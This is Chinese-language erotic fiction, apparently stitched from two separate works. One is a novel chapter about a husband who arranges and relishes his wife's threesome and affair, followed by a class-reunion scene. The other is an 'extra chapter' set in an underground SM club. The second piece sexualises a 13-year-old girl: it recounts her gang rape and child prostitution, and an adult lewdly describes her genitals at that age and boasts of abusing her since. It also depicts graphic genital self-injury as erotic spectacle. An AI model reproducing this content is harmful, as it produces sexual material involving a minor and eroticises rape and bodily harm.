在宁卉一声声娇弱而激荡的喘息中,在小情人动力万千的鸡巴所给予的身体里一浪高过浪高潮的快感中,宁卉拉着老公宁煮夫同志的手,泣不成声喃喃着:“嗯嗯,老公……我……好幸福,好幸福……谢谢你,老公……”

好吧,不知道别的绿公之老婆三P是个神马状况,但宁煮夫同志的老婆三P让老婆在高潮喊了我好幸福——这是宁煮夫所追求的境界。

我已经数不清楚宁卉在曾北方的抽插下来了多少次高潮,只是最后一次高潮,宁卉里焦外嫩的身体是插着老公的鸡巴来到的,那时候曾北方纵使没戴套子,但是非常懂事的在射精前将阴茎拨出来来了个体外——这让我十分感动。

只是,说不清是不是有着特别的感觉,当我接过曾北方的棒将鸡巴插入到老婆一汪春情无解的屄里的时候,我感觉里面的粘稠胜似往常,——纵使俺还没到熊雄同志去舔老婆沾满奸夫精液的屄屄的道行,但那种特殊的气息竟然让我激动不堪,刚一抽插不多几小宁煮夫万千子孙尽然齐刷刷的交代了,还好宁卉的高潮还是如约而来,完美的将最后一次高潮盛开在老公的鸡巴下……

那晚过了许久三人才从激动中平息了下来。然后三人之间同时的肉体之亲微妙的让大家的距离多了一种难言的亲近,以至于当曾北方同学提出要回家时,我跟宁卉竟然不约而同的要求他留下来。

后来的情形是,老婆,老公跟奸夫三人赤身裸体,在还飘散着淡淡的男人精液与女人蜜液之味道的宁公馆那张两米多宽的大床之上,宁卉在俺跟曾北方同学的左拥右抱下,带着身体还未散去的红潮沉沉进入了梦乡……

05-31
第77章:同学会

当阿姆斯特朗代表人类第一次登上月球,就在现场这哥们向全世界发表了被认为是二十世纪最伟大,最富有诗意的励志感言:“这是我的一小步,却是人类的一大步!”

而看着老婆被两个男人在床上的殷勤侍奉所带来的快乐恣意汪洋般溢满的身体,此刻正像朵娇怜的睡莲被两片硕大的绿叶紧紧裹挟着安详的睡去,宁煮夫同志感慨万千就在心里头整了句阿姆斯特朗体:“三P是一小步,却是宁公馆的一大步!”

宁煮夫同志的意思是这是宁公馆绿色工程具有里程碑意义的一大步。

说实话,看到眼前的一切,我雀湿感到情潮澎湃,鼻子酸酸滴,心情久久不能自抑。你不经历,你只见得到三P的彩虹,你见不到宁煮夫同志这一路过来作为绿公的风雨,那种风雨虽说必须的非典型,但一样的充满酸甜苦辣。

不知是有意还是无意——宁卉沉溢在睡梦的身体其实靠她的小情人得更黏糊,几乎整一袭雪白的裸背紧紧贴在曾北方同学同样裸露的胸肌与腹肌之上,那肌肉田字格一块一块的,这小子环抱到宁卉胸前的手真真切切的捧握着他宁姐姐那双美丽丰挺的乳房,那暗里透红的乳头在曾北方同学的手指缝中呈露出来,整一个小荷才露尖尖角的不胜调皮与娇羞。

但一直到宁卉睡去,纵使几乎整个身体都与小情人紧紧相偎,但老婆的一只手却跟我的一只手牵引着十指相扣,半刻不曾松开——有那么一个时段,宁卉跟小情人纵身与怀中并不时耳鬓厮磨,但愈是你觉得老婆跟她的小情人卿卿我我般柔情蜜意得紧时,宁卉的手总是会更加用力的攥住我,生怕手指间彼此的紧扣有哪怕一丝的脱落。

宁卉这个身体的密语被我读懂,我的心顿时写满感动——在老婆的身体依偎在另一个男人之时,夫妻之间却有一种如此心灵相通的感动相遇——你不一场和谐的,一场让老婆那身心俱享的快乐如夏花般绚丽恣意盛开的三P,你怎么感受得到夫妻原来还可以有这样的感动。

这种感动的密码此时只有宁煮夫小俩口才能互为解读:为爱而出轨,原来也可以让生命变成一场华丽的关于心灵与肉体的盛宴,而不是一条爬满了虱子华美的袍。

几乎一直致力于表达身体语言,而一夜无话的曾北方同学是什么时候睡着的我已经记不清楚,只记得这小子抱着我老婆以及他宁姐姐曼妙的裸体入睡时,不时跟我眼光的接触时只有两种表情的笑:一种是憨憨的,一种是感激的。

而我一直在唱今夜我将无眠到很晚很晚,一直到眼前老婆跟她小情人搂抱着开始双双发出轻轻的鼾声。

眼前老婆在我的鼻息之下酣睡在情人怀里的景致太过梦幻,以至于我还没睡着,我以为我已经在梦里……

梦里,一会儿老婆的鼾声似乎变成了另外一种浅吟低唱,那种浅吟酥骨入怀,似快乐的深尝,那种低唱媚荡入心,如欢欣的高歌……

梦里不知身是客……这老婆的快乐的浅吟低唱来自哪里?

第二天一大早,曾北方最先起床,说是公司有事要尽早前往,一番礼数尽到,在向他仍然在睡梦中的宁姐姐告别之后,宁公馆那张两米宽的大床重又回到常态,宁卉摆着S型的塑体仍旧迷人的蜷缩在半深半浅的梦乡里,似乎仍旧恋栈着昨晚同时与老公与情人那让人迷醉的纵情肉欢。

宁卉比平时多睡了会,等到窗外已经日上三竿,骄阳似火才猛然惊醒:“啊?几点了?上班得迟到啦,老公啊你怎么不叫我?”

宁卉被窗外透进来的强烈的光线刺得有些眼晃,说话时欲撑起身子起来,不料竟然四肢乏力般的又轰然躺下。

俺看在眼里,心头自是了然,便乐滋滋的一副宁煮夫式的坏笑嘿嘿了一声:“唉,瞧俺老婆这身娇肉贵的,那经得住昨晚两个男人这么折腾嘛,是不是胳膊腿的酸得很哈,今儿就不上班了在家休息。”

“啊?你说什么呀?不行不行,”

宁卉强撑着要起来,但还是看起来身软力竭的一阵虚脱没法支起身子。然后看着我,像是突然听明白我话里的意思,脸上竟然泛起一阵红云,“你乱讲什么啊?”

“本来就是嘛。”

我最见不得老婆这付怀了春都被男人操舒服了还不认账的娇娇作态,一把抱过宁卉软温的身子,“真的老婆,上午就不去了嘛,给公司请个假,再说你这阵赶过去,堵哈车啥的,到公司也吃中午饭了。”

宁卉想想也在理,便伸手拿过床头柜上的手机给办公室的小李打了个电话,问清楚了公司也没啥急事就说自己人有点感冒不舒服下午再来了。

说完,宁卉一手朝我肩膀擂出了一粉拳,娇嗔到:“都怪你,我还从没请过这种霸王假呢。”

“嗯,”

我故作严肃认真状,“老婆你这就不对了。”

“咋了?”

这下宁卉特自然的钻入我怀里猫着,长长的睫毛眨巴了下问到,“我咋不对了老公?”

“请霸王假到没啥,关键是你得跟人家说实话啊!啥叫感冒了嘛?明明就是昨晚被两个男人三P给操了一宿,操得早上起不来床了嘛。”

说完,我故意的不看宁卉,但眼角却将一掠坏笑的眼神飘去。

“坏蛋!”

宁卉的脸霎时比刚才涨得更红,而且在我说出“操了一宿”的“一宿”两个销魂般的字眼时,宁卉的身体不经意的颤抖了一下,“都是你害的!”

我分明感觉到了那种颤抖,但这当儿俺并木有反应过来老婆为嘛这时要应景般的来个颤抖。接着我紧紧一把搂着宁卉滑腻而温暖的身体,在有些发烫的小脸蛋上啄了一口:“切,可能不是我害的哦,至少主犯不是我。我才一炮撒,那小子搞了你好几炮呢!”

这下宁卉的身子突然有些绷紧,晓得宁煮夫那乐此不彼的高堂会审要开始了。

这种高堂会审在宁公馆的床上上演无数,每次内容都是变态的宁煮夫同志问老婆如何的被别的男人操屄的汇报与感受!

这是作为一个真正的,资深的淫妻犯的无上乐趣,你懂滴。

“哼,就是你嘛,你才是主犯,你策划的好不好?你变态,就一天变戏法的让你老婆……”

宁卉懂得要咋才能瘙着着自己那不变态毋宁死的绿帽老公的痒痒。

“让我老婆给别的男人操是不是?”

俺果真被老婆骚到痒处了,浑身一阵激灵,“快说宝贝,昨晚什么感觉,舒服吗?两个男人同时侍奉你,同时操你是个神马赶脚,是不是特爽?”

“才不爽呢!”

宁卉嘴里那肯随便示弱,但脸蛋上飞起的红霞怎地娇媚不堪,将老婆的口供出卖了个彻底。

“哦,原来老婆大食女哦,三P都不够爽哈,那下次老公多叫点男淫来,咱整四P,不够咱整五P,以此类推,一直到老婆到喊够喊爽为止!”

宁煮夫说这话时候几乎结都没打一个,一旦到了这种高堂会审的模式,宁煮夫的嘴皮子利索得很。

宁卉又知道上了宁煮夫的套了,竟然一时语塞,只是伸出的粉拳已在空中飞舞。

“哈哈哈,”

俺没脸没皮的只顾坏笑,“快如实招来老婆,昨晚我给你数高潮都数不过来了,一共几次啊?好像有三次还是四次哈?哪次最嗨啊?是你坐在他身上的那两次,还是他从背后操你那几次?”

未必这问题很有难度哇,就见宁卉突然怔住似的,飞舞在空中的粉拳也突然坠落了下来,然后把嘴皮咬起,也不敢看我的样子。

“咋了?”

宁煮夫还一付得意得很的继续追问,“未必记这么快就不得了哇?”

“嗯嗯,老公……”

宁卉的脸蛋红红着嗫嚅着。

“嗯嗯啥呢?快如实招来啦?”

我一番安慰的模样,“木有关系的,我晓得不是老公最后操你那次了,你说是跟他的某次老公又不得生气的啦。”

“老公,”

宁卉突然一脸媚色有减,愧色有加的看着我。

“咋了?”

我突然想象力飞驰,心里提到嗓子眼,“未必……这几次都……都不是?”

宁卉脸色通红,显然听明白了宁煮夫同志话里的意思,然后憋了一阵才小声嗫嚅着点点头:“嗯。”

“啊?”

敢情这三P的大剧还有藏着掖着的火爆剧情啊?”

你们……你们在我睡着了的时候又……又做啦?”

宁卉再次怯生生点点头。

什么情况?昨晚不是……不是俺是最后一个睡着的吗?

等我惊讶得张圆的嘴巴还没闭拢,宁卉赶紧伸出手来捂住我的嘴,“老公,你不会生气吧?”

“生什么气?”

我现在不是生气,老子是受刺激鸟。不过这个刺激是那种淫妻牌荷尔蒙的,我激动有些不知所以的,语无伦次的将老婆的身子恶生生的搂在怀里,“快……快说老婆,什么……什么情况?”

“啵,”

宁卉在我嘴上轻轻吻了一口,“老公你不生气我才敢说。”

“老公不生气,”

我重重的回吻了老婆一口,“你越淫荡,老公越爱!”

“嘻嘻,”

宁卉这才一脸的释然,“好嘛,老婆交代。”

“嗯嗯!”

俺鸡啄米似的点点头。

“昨晚我开始好累,一会儿就睡着了,可也不知道过了多久,就觉得身后硬梆梆的有东西老是在我身下动啊磨啊的就被弄醒了。我……我……”

“我靠,原来那小子睡觉都不老实一直在弄你哦?”

“嗯,他一直在用他的那个时不时的在磨我。”

“他的哪个?请叙述清楚。”

“他的鸡巴啦。”

宁卉捶了我一拳,“它一直硬硬的。”

“他硬硬的,他是电线杆啊还能硬?”

我故意咋呼到。

“他的鸡巴硬硬的啦,讨厌。”

宁卉又捶了我一拳,“一会儿不知道咋的,我下面就觉得……觉得湿啦。”

“有感觉了?”

“嗯,原来跟他睡觉他也有时这么弄过我,可这次,不知道……不知道咋的就这么快湿了。好有……好有感觉。”

“我知道了,是因为眼前就是你老公,身后被小情人偷偷的这么弄你才特别有感觉是吧?”

这下不得了,老婆叙述的这个局面让我下似乎全身着了火。

“嗯,”

宁卉刚一点头又似乎觉得不对劲,赶紧摇着头,“不是的啦。”

“还嘴硬,你真骚老婆,不过老公喜欢!继续交代你咋个骚的!小淫妇!”

宁煮夫已经激动得狂吐秽言。

“嗯嗯,他见我醒了就要把它插进来。”

“插进哪来?请不要用指代词它啥的,身体部位请直接用实词描述。”

“嗯嗯,老公你好变态。他就把硬硬的鸡巴插进你老婆的屄屄里来啦。”

“你都不扭捏下?骚老婆!”

“我拒绝啦,可是,越拒绝,不知道咋的,下面,哦不,屄屄里的水……就越多。”

“这种偷偷摸摸的感觉让你是不是感到更刺激,才这么多水的?”

“嗯……我,”

宁卉嘤咛了声,然后我感到自己身上的火似乎已经传递到老婆的身上,后面宁卉的声音如蚊,“不知道……”

“老实告诉老公,是不是偷的感觉更刺激?”

“嗯,不知道啦,”

宁卉的酥声应答,媚眼如丝,伴着身体轻轻的扭动,“但……真的好刺激。”

我靠,我就说老婆的鼾声为嘛变成了欢乐的浅吟低唱,我以为是梦,NND这还真不是梦哇。四人行的时候,老子名义上算是当着曾北方同学的面偷了他的情人姐姐,原来这小子一直憋着呢,这下好了,这次这小子把老子偷回去了——趁着我睡着偷偷操了俺老婆!

原来这小子明里三P了老子老婆不说,还暗里继续当奸夫给老子戴了顶别致的绿帽!

“没想到你这么骚老婆!”

我应景般捏了下老婆的乳头,觉得有些挺硬起来,翘翘的摸着有些发梗。“你乳头都硬啦。是不是这种偷情的感觉特别刺激?”

“嗯嗯……”

宁卉开始小声的呻吟。

“然后他的大鸡巴偷偷的在你老公眼皮底下从身后叼你,操得你死去活来,高潮涟涟,你却不敢大声的哼哼是吧老婆。”

“嗯嗯,”

宁卉先是一阵哼哼,然后来一句差点没把小宁煮夫体内的粘稠状物体给激动得飙射了出来,“你怎么知道老公?”

我靠,这个未必还用得着猜吗?俺这老婆太可爱鸟,我确实没想到这偷竟然还有如此神奇的魔力,让俺老婆如此的良妇竟然瞬间给俺淫妇般偷情了一把。

“那他这么操你……你来了几次高潮?”

“嗯,让我想想老公……”

宁卉眨巴着眼睛看上去真的做起了算术题,然后轻轻吐了口气,“三……三次老公。”

“我靠,你好骚老婆,难怪今天早上腰酸背疼的起不来了是吧。那哪次高潮最嗨最刺激?”

我屏住呼吸问到。

“嗯嗯,”

宁卉嘤嘤呜呜着不吱声,上弯月半睁半闭的撩人得很。

“你就直说嘛老婆,是当着老公给他操还是背着老公被他偷着操的时候嘛?老公的小心肝受得住。”

其实看见老婆扭捏着身体的支吾我就晓得答案了,但不知为嘛,此刻为老婆的这种偷我却感到一阵别样的刺激,这种刺激自怂恿老婆跟别的男人上床的宁公馆绿色工程开工以来俺还从来没感受过。

看来这女人偷汉子会的刺激是天生的鸟,咱暂且把它看做人性的一部分,问题是,作为被偷的绿公之宁煮夫同志在这场在宁公馆发生的以三P的名义老婆跟奸夫在自己眼皮子底下的偷情中,也同样感到如此的刺激就NND真是奇葩一朵鸟!

“嗯嗯,”

宁卉继续扭捏的嘤呜着,声音愈发酥嗲,“老公说了你别生气啊。”

“嗯,你不说老公才生气。”

说完这宁煮夫标志性的回答,我感觉身下的鸡巴炮弹已上膛!

“后面……”

宁卉顿了一下,突然气息喘喘不定的呢喃到,“后面偷偷的时候更嗨……更刺激,老公。”

说完宁卉整个身子一软,水若无骨般躺在我怀里。

“啪啪,”

老婆此声一出,如同指引小宁煮夫小钢炮炮弹出膛的指令发出,我还没来得及按照预定的计划将炮杆挪到老婆胸前的山峰的预定发射阵地,一股粘稠的精液已从俺龟头热烈的飙出,悉数落在了宁卉的大腿之间……

NND,一场三P愣是被整成了老婆跟奸夫在老子眼皮底下的偷情,还NND的让老婆感到更刺激,有一种宁大绿帽同志的绿叫没有最绿只有更绿有木有?

还过几天到周末,就是宁卉大学同学的同学会了。而到周末的这几天,在另一条战线上,络腮胡同志居然按兵不动,没见有任何动作,这小子还居然挺沉得住气。看来是干大事的人哈。

同学会在周末如期举行,听说是在一间集餐饮娱乐为一体的高档会所包了个场。大家按照规则凑了分子钱,先吃喝一顿,然后在各种酒精的刺激下嗨下歌,期间胆大的同学说点黄段子然后把以前不敢说的话对自己的暗恋对象说出来再做一把捶胸顿足状,而胆小的闷骚意淫一番便拉到了事,同学会大致都是这么个典型的议程。

话说江湖流传着关于同学会最著名的段子是,同学会,同学挨着同学睡,搞垮一对是一对!

宁煮夫在目送老婆跟曾眉媚莺莺燕燕出得门去那一刻,心里背着这个段子的前面部分就是一阵心里莫名的激动。

曾大侠跟宁卉是相约而去的,是曾大侠开的车车。因为两个女人到时肯定要喝酒,就说完了叫宁煮夫去当司机开车接二位大神回家。

不巧,这两位刚一出门,宁煮夫就被乔老大喊出去应酬饭局去了,熊雄同志这会真的又在外地出差,这去开车接二位回家的任务自然落在了曾北方的身上。

同学会是以宁卉大学同班同学的名义开的,除了少数几个出国以及在外地未归的没来外,大部分都到齐。一共三十来号人,因为是英语系的缘故,女多男少,总共才七八个男生——让人惊奇的是,已经跟广大同学们失去联系几年的路晓斌同学这次竟然要来!

这小子是来会同学们,还是会同学宁卉,只有天知道了。

宁卉晓得路小斌要来的消息,本来怕尴尬表示自己不想参加了,但被同学会热心的组织者给一阵好劝给还是劝来了。

但NND不知道哪个好事者,吃饭的时候,竟然将宁卉与路晓斌的座位安在了一起。

路晓斌是最后一个到场的,到的时候场子已经非常热烈的被近三十名女同学按照三个女人一台戏的比例整出了七八台戏同时唱着。今儿来的女同学大致三分之一已经嫁做人妇,三分之一名花有主,三分之一正朝着剩女的方向在发展,所以,这么些不同状态的女人在一起会制造出足够的话题支撑着这七八台戏的热闹场面。

路晓斌一出场便让场子瞬间安静了下来——一半的原因是大家确实好久都没见着这位神仙了,一半的原因是路同学的形象一看确实另类的让人觉得他是另外一个星球来的。穿着老土不堪不说,一脸略带神经质的神情跟大家确实有一种格格不入的不适感。

跟时代格格不入者,要么是天才,要么是弃儿。好在,看得出其实路同学原来在同学中的人缘还不算差,一艾现身,就有好几拨男男女女的同学前去迎候寒暄,大家对他说的一句话竟然都不约而同的都是:“好就不见,你,哪去了?”

以至于当路晓斌被引领到宁卉身旁的座位时,宁卉才匆忙的站起身来,迎候着路晓斌因为完全没想到能挨着宁卉坐而发出的惊讶的目光,一阵稍许的尴尬过后,宁卉纵使心里有些发紧,还是主动伸出手,并许以了个礼貌的笑容来了同样一句:“晓彬你好,好久不见。”

路晓斌似乎还在梦游般的表情怔了一下,几乎是下意识的伸出手,跟宁卉的手轻轻的握在了一起,甫一触到宁卉手心的刹那,明显感到路同学的手连同身体微微在发抖。

这样,宁卉左边挨着路同学,右边坐着的是曾大侠。路晓斌是坐定了才看见隔着宁卉的曾眉媚,霎时就见他眉头一皱,眼里恨恨的样子盯着曾大侠。

曾大侠尴尬的笑了笑,对着路晓斌嘴里嗫嚅了一句,“晓斌你好。”

然后自个心里一阵发毛。

话说四人行时,在江边小城发生的路同学跟正以亲密的情人状走在一起的曾眉媚跟陆恭同志偶遇的那一幕,此刻不让曾大侠心里发毛才怪。曾大侠也吃不准这小子神神叨叨的,要是扭着这事跟宁卉扯就麻烦了。

还好,路同学现场并没有发飙的意思。而是在与宁卉几乎礼节性多于同学之间状态的交谈中,路晓斌告诉宁卉自己还在那座江边小城的一所乡村小学支教,这次是放暑假还没完,要在家呆一段时间。

宁卉其实从同学的传言中多少知道一些路晓斌的际遇,宁卉一直明白,路晓斌之所以以这样一种与世隔绝的方式到乡村支教,全然都是因为自己,是因为那场对于他无法承受的失恋而做出的选择。

其实,在路晓斌的事儿上,宁卉心里一直没有完全释怀。尽管不能拿自己的幸福做慈善,但当知道路晓斌用这样一种几乎自虐的方式来抵抗自己的痛苦时,宁卉的心里一直埋着一种隐隐的痛。宁卉多么希望路晓斌能尽快走出痛苦,多么希望他能过得好——宁卉心里,路晓斌其实一直都是一个很好的男孩:正直、诚实、痴情。

但现实却这样残酷而真实,有人为自己如此痛苦自己却无能为力。那种深深的无力感让宁卉一下觉得的心里沉甸不堪。

同学会按既定议程进行着,大家酒过三巡便三三两两的开始相互扎堆敬酒。

这时,一戴眼镜的高个男生——据说这位是路小斌大学最好的兄弟——拿着瓶啤酒就到路晓斌跟前说要跟路干一杯。

路晓斌站起来跟眼镜同学热烈的拥抱了一番,然后拿起杯子跟他碰了杯正欲饮下,不料这位眼镜同学端着酒瓶就开始发表了一通演讲:“唉,我就不懂了现在是神马世道,好多女人都口口声声的说找老公要找老实的,本分的,有才华的,有安全感的,有道德的,真遇着了,像咱路小斌这样的,甘愿将青春与热血奉献给我们山区教育事业的好男儿,现在还上哪找去?这些女人TMD的全就换了付脸嘴,都变成了不在自行车上笑宁在宝马车上哭的主。唉,路晓斌,你这么糟践自己,哥们真替你不值。”

这番话自然让敏感的宁卉以及曾大侠听出了含沙射影的意思,宁卉霎时脸上就是一阵红白相间。旁边的曾大侠听好姐妹居然被如此埋汰心里不乐意了,哪里受得了这个,立马从旁边的位置窜起身来,一手指着眼镜同学就是一阵高分贝的燕啼嗓侍候:“高正,你小子有病啊!”

宁卉听曾大侠这么一发飙,连忙伸出手拉曾眉媚,但此刻已经红的啤的白的都整了点的曾大侠哪里刹得住车,“你小子脑残还是咋的,含沙射影谁呢?这事儿好了歹了咋就赖着咱们女人了,你是什么混账逻辑,敢情你男人一下跪咱女人就得从了你?菜市场买菜还挑个大的呢,也不撒泡尿照照自己,你有什么资格说这个说那个,高正,你什么东西,看你人模狗样的,说的话怎么都NND姓猪呢,本姑娘严重鄙视你!”

乖乖,曾大侠这番伶牙俐齿直接秒杀全场,同学们的目光刷刷的都朝这边刷来,直接让那位叫高正的眼镜同学连嘴都还不上。旁边的路晓斌其实听高正这么埋汰宁卉心里已经有一股无名之火,看着宁卉脸上难受的表情突然伸出手就对眼镜似打非打的撂上了一肘:“高正,去,去跟人家道歉,你胡说八道啥呢?”

这下眼镜脸实在挂不住了,曾大侠这番言语侍候到想得过去,没想到自己的兄弟伙这会竟然不胳膊往外拐,便立马有点气急败坏的意思:“路晓斌,老子帮你说话,你却帮害了你的人帮腔,你他妈还是不是爷们?”

说到这里,路晓斌还一动不动没有反应,只是见着胸脯激烈的起伏,而宁卉在一旁眼泪都快出来了,但又不知道如何开口,旁边有几个女同学赶紧过来拉曾眉媚跟宁卉,有细心的连湿巾都给宁卉递过来了。

“为这种负心的女人你TMD值不值得?”

眼镜还在继续咋呼。

这一咋呼不要紧,要紧的是为路晓斌本来捏好的拳头找到了出击的理由,就见路晓斌照着眼镜的胸膛稳准狠的一拳过去!

这一拳其实在场的大多数同学都看明白了,是路晓斌为宁卉打的……

这一拳的击发让大家不胜唏嘘,有人看出了偏执,有人却看出了痴情……

而宁卉此时心里却感到一种扭结似的痛和无奈……

这场突发事件最终在当过班长的同学会组织者协调下总算平息下来,同学会虽然按计划把议程进行完毕,但宁卉一晚上都感到心事重重,再有的欢颜似乎都是在强做,不知道路小斌会是心里的一道阴云搁下,还是过往的一片风只是飘来再隐去。

同学会结束之时,宁卉跟曾眉媚在会所门口等了会儿,就见曾北方赶来开车。

三人一行到了车库——由于曾眉媚喝得有点差不多了,主要都是豪爽的跟男同学拼酒拼出来的——曾北方跟宁卉搀扶着先将曾眉媚在后座上坐定,等宁卉也准备上车的当儿,在身旁的曾北方却一把搂着宁卉的腰肢,将宁卉的身体搂在怀里,然后一只手捧起宁卉脸——此时车库四下无人,这个动作作为情人之间自发的亲密之举完全非常的正常与自然——正常到曾北方的嘴凑到自己的嘴上要索上一吻时,宁卉都没太在意与拒绝,而是迎合着跟曾北方的嘴唇虽然短暂而浅浅的,但却十分真切的吻在了一起……

宁卉与曾北方的接吻,却透过车库昏暗的灯光,结结实实的被不远处一双眼睛注视着,这双眼睛这时候发出的目光是如此的绝望、无助、与痛苦……

这双眼睛是路晓斌的。


番外篇极限欲望

第一章

1、俱乐部的老板娘

现在是2014年4月21日,这里是K市的地下SM俱乐部,昏暗的舞台上推上来了一个正方形的金属框,如果打开灯光你会发现由不锈钢管焊成的正方形框架里吊着一具穿着白色紧身橡胶衣的女体,橡胶衣上的四个开孔处露出了嘴巴、双乳和下体;女体被吊起的形状从侧面看去就像是缺少了两条后腿的靠背椅——被固定成与地面垂直的两条腿构成了 椅子的前腿 ,向前平伸的腰背构成了 椅面 ,而因乳头被向上吊起而不得不上昂的胸部和头部构成了椅背。

女士们,先生们欢迎来到血玫瑰俱乐部,我是主持人刘媚。随着舞台的灯光亮起,穿着皮质比基尼的血玫瑰俱乐部 女王 走上了舞台。刘媚33岁,身高167厘米,K市本地人,父母到国外务工,将刘媚寄宿到奶奶家。刘媚从小就是个美人痞子,谈笑时的一颦一笑倒是真当得起名字里的一个 媚 字。

模样长的俊俏,小小年级的刘媚眉眼间又带着几分骚气,一来二去便招引了一些狂蜂浪蝶,以至于一天傍晚13岁的刘媚被轮奸怀孕。小孩子不懂事,家里老人又比较糊涂,导致延误了堕胎的最佳时间,只能生下孩子,生子后小刘媚就破罐子破摔,给家里留了一封信后便离家出走。后来刘媚的父母听说女儿的事后从国外回来的到的消息却是 查无此人 ,找了两个月也没找到,便只能再次出国。当时小小的刘媚托庇在几个小混混的 保护下 一个人带着孩子在K市的地下红灯区过活,所谓的保护也就是混混们给刘媚一口饭吃,然后刘媚来给他们解决性欲问题。后来刘媚便当起了雏妓,入行至今已有20年。由于网络的普及,从16岁起刘媚的性爱视频便在网上传的也是铺天盖地。

俱乐部里上了年纪的会员很多都曾经和她做过 露水夫妻 ,就是没上过刘媚的也在网上看过她那总数达到350多部的自拍视频。后来刘媚年纪大了便渐渐的不再出台,只做视频裸聊的主持人。直到2年前经营不景气的血玫瑰俱乐部老板刘媚的老主顾42岁的 大强请刘媚帮忙 帮衬 一下刘媚才以SM女王的身份复出。还真别说,刘媚来俱乐部以后依着她20年的从业经验对俱乐部进行了大刀阔斧的改革,俱乐部的生意不光在一天天的好转而且还以 大胆的演出、另类的表演 在界内打出了点小名气,每周末俱乐部演出时场场爆满。俱乐部生意好转了大强更是 媚姐长,媚姐短 的溜须讨好,时间一久两个人还真有了点感情也就 搭伙 在一起凑合着过起了日子。王八配婊子 在业内也倒成了一段佳话。

大强也是K市人本名刘天强,个子不高但人长得很 敦实 ,身高将将有170厘米但浑身的肌肉,胳膊能有一般人的小腿粗。大强年轻时长得白净较秀气,再加上个子不高总是被欺负,甚至还被几个基佬玩弄过一段时间。因为这些经历刘天强渐渐变得有些反叛和偏激甚至有些变态的性癖好,再加上在健身房也认识了一些狐朋狗友,渐渐的便加入了本地混混们的行列。个子不高20岁出头的他之所以被叫做 大强 是因为他长了个黑人都要羡慕的超级大屌,软时都有一般人勃起的大小,硬起来线岁小孩的胳膊。因为资本够好,从刘媚出道时俩人就勾搭在了一起,刘媚接大强的活儿也从来不收钱,这可能也是现在他俩能在一起的原因吧。

刘媚走上舞台后向着观众鞠了个躬,刚要开口就听着台下有人起哄 媚姐,两年不见了怪想你的,想看看你又找不到你人啊!就是,两年没见了让我们看看啊。 行!两年没见就让你们再看看.刘媚说着直接把胸罩往下一拉,2个36D的乳房就露了出来,顺手又扯下皮内裤露出下体,然后直接双手抱住膝盖两腿分开M型仰躺在舞台上。

老公们~ 看吧,这回行了吧 不行啊,看不清啊 录像师!来个特写,给点灯光! 舞台下有人大声起哄。

随着灯光的加强,刘媚粉红色的下体特写镜头出现在俱乐部的幕墙上,场下口哨声叫好声响成一片现场气氛直接达到了一个高潮。刘媚看场下气氛热烈也来了兴致,索性把两手的食指和中指插进阴道无名指和小指插进肛门两手用力向两边分开。阴道和肛门都拉开了4厘米,透过大屏幕直接可以清晰的看到蠕动的子宫颈和直肠壁。正常来说没有前戏阴道和肛门基本上很少有人能直接打开这么大的,但是刘媚从业20年 阅人无数 阴道和肛门早就被玩的稀烂,虽然最近几年开始注意保养身体,但13岁生子后也没有注意恢复就开始接客,加上人长得又漂亮平时能接客数量都是姐妹们的2~ 3倍,当时K市道上的姐妹们戏称刘媚是 劳模 平时一天接客5~ 6个,赶上节假日最多能有12、3个3P群交来者不拒。刘媚现在患有严重的脱阴和脱肛平时凳子坐久了子宫会脱出2厘米,打个喷嚏会脱出小半个子宫,蹲下身子时如果没有内裤挡着直肠能整个脱出来。平时刘媚上街时都会在阴道里插上个大号的假阳具,肛门里塞上4厘米的肛门栓再穿上带钢丝的贞操带固定。

刘媚本来就是个性欲极其旺盛的女人,不然也不会有哪个女人会像刘媚那样当婊子还索取无度乐在其中。刘媚看场下气氛热烈也来了性质,用两手的拇指用力摩擦阴核,有成年人小指粗细的阴核慢慢硬挺了起来,直到突出包皮1。5厘米。场内观众许多人第一次看到这么大的阴蒂不禁一片哗然。

假的吧,这么大的阴核比小孩子鸡鸡还粗了

注射过硅胶吧?人的阴蒂哪能张这么大!

我给你说,小媚这阴核绝对是自己张这么大的,什么都没注射过,她13岁时这小豆子就比别的丫头大,一般小女孩13岁时阴蒂还没张出来呢她的就露半个头出来了,我操了她将近20年这变化我可都看在眼里呢.

解释这人姓刘50岁,早先是K市的小混混后来渐渐混出了点名堂就开了家饭店,现在道上人见面都叫他声 刘叔 或刘老板。跟旁边的人说完话刘叔便向台上渐入佳境 的刘媚喊道: 小媚啊,你这小豆子都这么大了是不是这两年大强没喂饱你憋得啊,有时间来刘叔家,刘叔再帮你通通屄!唉对了,你这屄咋越操越粉了呢,我记得原来可是黑油油的两片耷拉肉啊。

啊~ 刘叔~ 别~ 别笑话小媚了,我~ 我这不是天生就这么大么,你都~ 都帮小媚通20年了~ 再通就~就变更大了~ 我怕人家以为我是从泰国来的呢~一边在舞台上自慰,一边气喘吁吁的说 我这前几天和大强结婚,刚做过阴唇漂白,不然那两片烂肉我看着都反胃呢.

刘媚不知道的是,在她13岁被轮奸时这个刘叔也在其中,甚至还有她现在的丈夫——大强,不过当时年纪小受了惊吓而且天又黑也难怪认不出来了。不知道刘叔和大强他们出于什么目的,虽然知道刘媚就是当初被他们糟蹋过的女孩但直到现在依然心照不宣的继续保守着秘密。

现在刘媚左手握住滑出肛门的直肠上下掏动,右手手心捂住脱出的宫颈来回揉搓并把右手中指从宫颈上面的小洞值插进子宫里随着右手死命的转动。下面的观众看到这个景象又是一片哗然。刘叔看到这个景象也是呆呆的长大了嘴,半天后才喃喃地说到: 小媚这娘们不要命了,子宫也敢拿出来玩。

半天后才醒悟过来,扭头冲着最后一排座位上的大强喊道: 强子!你老婆不是疯了?在那掏卵泡呢,小心出人命了!

大强听了从刘叔一笑: 没事,刘媚这娘们在家也是这么扣屄。你想啊,就她那屄早就被操的像老树皮了,我猜她屄里面的茧子比我脚后跟的都厚平常人用的假鸡巴插着早就没感觉了,想自慰也就得扣子宫了。她那子宫我都把手指赛进去帮她扣过,没事儿。

刘叔讷讷的转回头,半晌才自个嘟囔道: 活了50年这次真开眼了,这婊子为了操屄命都不要了。

再说这大强也是个妙人,一般人别说娶个千人捅万人操的婊子当老婆,更哪有取了之后还让老婆当着邻居、朋友面自慰的。不过大强倒是有他的道理:刘媚那骚货整个K市都找不出几个没操过她的人,她肚子里灌的精液都够养鲸鱼了!婊子都当了还立个鸡巴毛的牌坊!反正只要能给俱乐部赚钱就算拉出去被人操死又能咋样,反正又没啥感情,就是找个法儿让她在场子里拉客。

啊~ 要来了~ 啊~随着王媚一声尖叫王媚下体的淫液喷出有半米远,然后开始半眯着眼躺在舞台上喘息。3分钟之后,王媚站起来冲着台下一笑道: 好啦,各位这回都看够了吧,别耽误了正事。

